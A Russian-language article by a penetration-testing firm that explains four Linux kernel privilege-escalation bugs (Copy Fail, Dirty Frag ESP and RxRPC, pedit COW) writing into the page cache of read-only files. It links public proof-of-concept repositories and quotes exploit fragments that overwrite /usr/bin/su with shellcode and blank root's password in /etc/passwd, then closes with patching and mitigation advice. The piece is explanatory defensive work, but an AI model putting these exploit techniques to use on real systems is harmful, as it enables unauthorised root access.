Root без права на запись: как четыре уязвимости Linux обходят защиту файлов
У пользователя нет прав на изменение системного файла: открыть его можно только для чтения. Но что произойдет, если само ядро Linux запишет новые данные в его страницу в оперативной памяти? Для обычной проверки прав доступа такая запись может остаться незаметной.
В 2026 году исследователи описали несколько уязвимостей с таким механизмом. Они затрагивают криптографию и обработку сетевых пакетов, но причина у них похожая: подсистемы ядра неправильно обращаются с общими страницами памяти. Разберем Copy Fail, Dirty Frag и pedit COW, а затем посмотрим, как эти ошибки приводят к повышению привилегий.
В АБП2Б мы проводим пентесты и аудиты информационной безопасности. В этой работе сталкиваемся всё чаще с уязвимостями Linux, которые позволяют повысить привилегии в системе. В статье рассмотрим несколько таких уязвимостей и разберём, за счёт чего они работают.
Как работает page cache и откуда берется возможность записи
Когда процесс читает файл, ядро обычно работает не напрямую с ним, а с page cache, который представляет собой файловый кеш в оперативной памяти. Открытие файла с O_RDONLY означает, что процесс не имеет права выполнить штатную файловую запись, но не означает, что физические страницы памяти никогда не будут доступны другим частям ядра.

Zero-copy позволяет обойтись без лишнего копирования данных. Вместо отдельного буфера ядро может передать сетевой или криптографической подсистеме ссылку на ту же страницу памяти. Сетевой буфер sk_buff тоже может хранить такие ссылки.
Пока принимающая подсистема только читает страницу, проблем нет. Опасность появляется, когда она изменяет данные прямо в исходном буфере (in-place). Перед такой операцией нужно убедиться, что память можно менять, или создать отдельную копию.

User namespaces позволяют непривилегированному процессу создать изолированное пространство имен и получить в нем часть полномочий root. За пределами этого пространства они не действуют. Но page cache общий для всей системы, поэтому ошибка в ядре может затронуть и хост.
Публичные PoC и общий принцип атаки
На этих примерах хорошо видно, как похожая ошибка проявляется в разных интерфейсах ядра.
Имя | Подсистема | CVE | Где записывает? |
Copy Fail | AF_ALG, algif_aead, authencesn | CVE-2026-31431 | Контролируемая запись по 4 байта в page cache LPE |
Dirty Frag ESP | XFRM, ESP-in-UDP | CVE-2026-43284 | ESP принимает externally shared frag за приватный и дешифрует его in-place |
Dirty Frag, RxRPC | RxRPC, rxkad | CVE-2026-43500 | shared paged frag попадает в in-place crypto SGL вместо предварительного unshare |
pedit COW | tc, act_pedit | CVE-2026-46331 | pedit пишет за заранее рассчитанной COW-границей в еще shared-область |
Сами по себе эти ошибки не выдают права root. Они дают возможность изменить данные в памяти, а уже эксплойт использует эту возможность для повышения привилегий.
Copy Fail
Публичный PoC: https://github.com/JuanBindez/CVE-2026-31431
В основе Copy Fail лежит сочетание zero-copy, интерфейса AF_ALG и обработки данных in-place. AF_ALG позволяет обычным приложениям обращаться к криптографическим алгоритмам ядра через сокеты. Страница передается в криптографическую подсистему без копирования, а вход и выход операции могут ссылаться на одну область памяти. Проблему вызывает модуль authencesn: он использует выходной буфер как временную область и может записывать туда служебные данные. Если буфер ссылается на page cache, изменяется содержимое кешированной страницы файла.
Рассмотрим, как уязвимость используется для повышения привилегий. Ниже приведены отдельные фрагменты публичного PoC, а не самостоятельная программа.
Особый интерес представляют setuid-программы: они могут запускаться с повышенными правами. Если изменить их инструкции в page cache, система может выполнить измененный код, хотя файл на диске остался прежним. В демонстрации открывают /usr/bin/su только для чтения и воздействуют на его кешированную страницу:

os.open(“/usr/bin/su”, os.O_RDONLY) # цель открыта read-onlyСоздаем сокет AF_ALG:
sock = socket.socket(38, 5, 0) # AF_ALG — crypto API ядра
sock.bind(("aead", "authencesn(hmac(sha256),cbc(aes))")) # выбираем AEAD
conn, _ = sock.accept()Передаем содержимое файла через pipe в AF_ALG:
read_pipe, write_pipe = os.pipe() # pipe для zero-copy
os.splice(fd, write_pipe, offset + 4, offset_src=0) # файл → pipe
os.splice(read_pipe, conn.fileno(), offset + 4) # pipe → AF_ALGЗатем запускаем криптографическую операцию, которая приводит к записи данных:
conn.sendmsg( # запускаем crypto-операцию
[b"A" * 4 + data],
[
(ALG_SET_KEY, 3, zero_byte * 4),
(ALG_SET_KEY, 2, b'\x10' + zero_byte * 19),
(ALG_SET_KEY, 4, b'\x08' + zero_byte * 3),
],
32768,
)
Здесь каждый компонент выполняет свою часть работы: splice() передает страницы, algif_aead позволяет избежать лишнего копирования, а authencesn использует выходной буфер как рабочую область. Ошибка возникает потому, что общую страницу меняют как собственную.
Dirty Frag
Публичный PoC: https://github.com/V4bel/dirtyfrag/blob/master/exp.c
Dirty Frag использует похожую ошибку: ядро изменяет данные прямо в общей памяти. Но на этот раз страница попадает в обработку через сетевой буфер.

ESP / IPsec
У процесса нет прав на изменение файла. Однако его кешированная страница может попасть в сетевой буфер, а ядро при обработке ESP расшифрует данные прямо в этой памяти. В результате изменится страница файлового кеша.
Для каждого участка данных длиной 4 байта демонстрация создает отдельную XFRM SA через netlink:
for (int i = 0; i < PAYLOAD_LEN / 4; i++) { // одна SA на 4 байта
uint32_t spi = 0xDEADBE10 + i;
uint32_t seqhi =
((uint32_t)shell_elf[i*4 + 0] << 24) |
((uint32_t)shell_elf[i*4 + 1] << 16) |
((uint32_t)shell_elf[i*4 + 2] << 8) |
((uint32_t)shell_elf[i*4 + 3]);
if (add_xfrm_sa(spi, seqhi) < 0) { // устанавливаем SA
SLOG("add_xfrm_sa #%d failed", i);
return -1;
}
}Далее собирается пакет. Содержимое файла не копируется: через pipe передается ссылка на страницу из page cache. Фрагмент кода:
uint8_t hdr[24]; // заголовок пакета
*(uint32_t*)(hdr + 0) = htonl(spi);
vmsplice(pfd[1], &iov_h, 1, 0); // header → pipe
off_t off = offset;
splice(file_fd, &off, pfd[1], NULL, 16, SPLICE_F_MOVE); // file page → pipe
splice(pfd[0], NULL, sk_send, NULL, 24 + 16, SPLICE_F_MOVE); // pipe → socketПакет поступает на UDP-порт 4500 через loopback. При обработке ESP ядро не распознает фрагмент как общую страницу и расшифровывает данные прямо в ней. В примере эту операцию повторяют для последовательных участков страницы.
RxRPC
Здесь записываемые данные зависят от результата расшифровки, поэтому выбрать их напрямую нельзя. Но результат зависит и от ключа. В демонстрации программа перебирает ключи локально, пока не находит подходящий, а затем использует его при обработке пакета ядром.

В примере с /etc/passwd код проверяет, удалось ли получить последовательность символов, необходимую для изменения записи учетной записи:
static inline int fc_check_pa_nullok(const uint8_t P[8]) {
return P[0] == ':' && P[1] == ':'; // ищем "::"
}
static inline int fc_check_pb_nullok(const uint8_t P[8]) {
return P[0] == '0' && P[1] == ':'; // ищем "0:"
}В приведенном PoC ключ подбирается следующим образом:
for (uint64_t iter = 0; iter < max_iters; iter++) {
uint64_t r = fc_splitmix64(&seed);
memcpy(K, &r, 8);
fcrypt_user_setkey(&ctx, K);
fcrypt_user_decrypt(&ctx, P, C);
if (check(P)) {
memcpy(selected_key, K, 8);
break;
}
}После подбора ключа программа передает страницу /etc/passwd через pipe и splice на обработку сетевой подсистеме. Ядро выполняет криптографическую операцию непосредственно над общей страницей:
memcpy(SESSION_KEY, Ka, 8); // ключ → сессия
do_one_trigger(rfd_ro, off_a, 8); // запускаем kernel pathЗатем проверяется, как изменилась первая строка файла /etc/passwd:
if (memcmp(m, "root::0:0", 9) == 0)
// проверяем результат

В обоих вариантах Dirty Frag используется общая идея: в сетевую обработку попадает ссылка на страницу файлового кеша, а криптографическая операция изменяет ее на месте. Различается способ управления записываемыми данными.
pedit COW
Публичный PoC: https://github.com/sgkdev/packet_edit_meme
Уязвимость pedit COW работает иначе. Здесь ядро пытается применить Copy-on-Write перед записью, но неправильно рассчитывает размер защищаемой области. В итоге часть памяти остается общей.
В демонстрации задаются две операции редактирования пакета. Первая меняет поле заголовка, влияющее на расчет смещения, а вторая выполняет запись по уже измененному смещению.
Проблема в том, что область для Copy-on-Write определяется заранее, а фактическое смещение второй операции зависит от заголовка пакета, который меняется во время обработки. Поэтому запись может выйти за пределы области, подготовленной для безопасного изменения.
static void fill_ihl_key(struct pedit_key_spec *key){ // первая pedit-запись
key->offset = IP_IHL_KEY_OFFSET;
key->value = IP_IHL_KEY_VALUE;
key->mask = IP_IHL_KEY_MASK;
key->header_type = TCA_PEDIT_KEY_EX_HDR_TYPE_NETWORK;
}Положение записи в файле зависит от структуры пакета. Для расчета смещения используется тестовый файл:
fd = open(CALIB_PATH, O_RDWR | O_CREAT | O_TRUNC, 0644); // файл для калибровки
write(fd, buf, sizeof(buf));
fsync(fd);
fill_ihl_key(&keys[0]); // первая запись-обманка
keys[1].offset = CALIB_PROBE_OFFSET; // пробное смещение
keys[1].value = CALIB_MARK_BYTE * 0x01010101u; // маркер
keys[1].header_type = TCA_PEDIT_KEY_EX_HDR_TYPE_TCP;
pedit_burst(fd, keys, 2); // применяем обе записи
pread(fd, buf, sizeof(buf), 0);
landed = find_marker(buf, ...); // ищем маркер
offset_delta = landed - CALIB_PROBE_OFFSET; // считаем поправкуДалее определяется точка входа setuid-программы: виртуальный адрес переводится в смещение внутри файла:
if (phdr.p_type == PT_LOAD && (phdr.p_flags & PF_X) &&
ehdr.e_entry >= phdr.p_vaddr &&
ehdr.e_entry < phdr.p_vaddr + phdr.p_filesz)
return (long)(ehdr.e_entry - phdr.p_vaddr + phdr.p_offset);
// entry VA → file offsetВ демонстрации начало программы su в page cache заменяется короткой последовательностью машинных инструкций. Затем программа запускается с измененными инструкциями:
child = fork(); // создаем дочерний процесс
if (child == 0) {
if (corrupt_entry(su_fd, entry_offset))
_exit(1);
write(sync_pipe[1], "1", 1); // сигнал родителю
_exit(0);
}
read(sync_pipe[0], &ack, 1); // ждем child
waitpid(child, &status, 0);
su_argv[0] = (char *)su_path;
execve(su_path, su_argv, NULL); // запускаем цельДля настройки сетевого фильтра нужны полномочия, которых нет у обычного пользователя. Эксплойт использует user namespace, где часть таких полномочий доступна внутри изолированной среды. Но файловый кеш остается общим. Дочерний процесс изменяет кешированную страницу su, а родительский процесс запускает su уже вне пространства имен.
Фрагмент цикла дочернего процесса, который выполняет запись по частям:
size_t chunk = sizeof(SHELLCODE) - written;
if (chunk > PEDIT_MAX_WRITE)
chunk = PEDIT_MAX_WRITE;
api_fd_write(su_fd, entry_offset + written,
SHELLCODE + written, chunk);
written += chunk;Так один процесс использует полномочия внутри изолированного пространства, чтобы изменить общую кешированную страницу, а другой запускает измененную программу за его пределами.
Способы защиты
Основная мера защиты от Copy Fail, Dirty Frag и pedit COW — установка исправленного ядра Linux. Поскольку уязвимости связаны с обработкой общей памяти внутри ядра, изменение прав доступа к файлам не устраняет их причину.
При обновлении важно учитывать особенности конкретного дистрибутива. Исправления безопасности могут переноситься в более старые ветки ядра без изменения его базового номера версии. Поэтому наличие исправления следует проверять по бюллетеням безопасности поставщика и сведениям о конкретном пакете, а не только по выводу uname -r.
После установки обновления необходимо перезагрузить систему и убедиться, что она работает на исправленном ядре. Пока сервер продолжает использовать прежнее ядро, уязвимый код может оставаться активным.
При большом количестве Linux-серверов отдельной задачей становится учет систем, на которых необходимо проверить наличие исправлений. Для этого важно иметь актуальный реестр оборудования, понимать, где размещены серверы и кто отвечает за их обслуживание. Такие сведения можно вести, например, в ОдинХаб от АБП2Б — платформе для инвентаризации ИТ-инфраструктуры. Это упрощает организацию проверки и обновления систем, хотя само по себе не устраняет уязвимости ядра.
Дополнительная мера — ограничение доступности подсистем, в которых обнаружены ошибки: криптографического интерфейса AF_ALG, механизмов XFRM/ESP и RxRPC, а также функций редактирования пакетов через tc и act_pedit. Если отдельные компоненты не используются, можно рассмотреть их ограничение. Но отключать модули без проверки зависимостей нельзя: это может нарушить работу сетевых сервисов и других компонентов системы.
Отдельного внимания заслуживают непривилегированные user namespaces. Они позволяют процессам получать определенные полномочия внутри изолированной среды и в некоторых сценариях облегчают доступ к уязвимым механизмам ядра. Ограничение их создания может снизить риск эксплуатации, но не защищает от всех рассмотренных вариантов атаки.
Таким образом, дополнительные ограничения стоит рассматривать как временные меры снижения риска. Полноценное устранение этих уязвимостей требует установки соответствующих исправлений ядра Linux.
Что это значит для безопасности Linux
Copy Fail, Dirty Frag и pedit COW показывают, что одних прав доступа к файлам недостаточно, если ошибка есть в самом ядре. Во всех рассмотренных случаях одна подсистема передает ссылку на страницу памяти, а другая изменяет эту страницу, не обеспечив необходимое разделение. Если речь идет о page cache привилегированной программы, последствия могут привести к повышению прав.
Ошибки затрагивают механизмы, которые обычно помогают системе работать быстрее и безопаснее: zero-copy и Copy-on-Write. Поэтому основная защита здесь — исправленное ядро. Ограничения отдельных функций могут снизить риск, но не заменяют обновление.
KioskNews shows a cleaned-up reading view extracted from the publisher’s page — the original always lives on their site, not ours.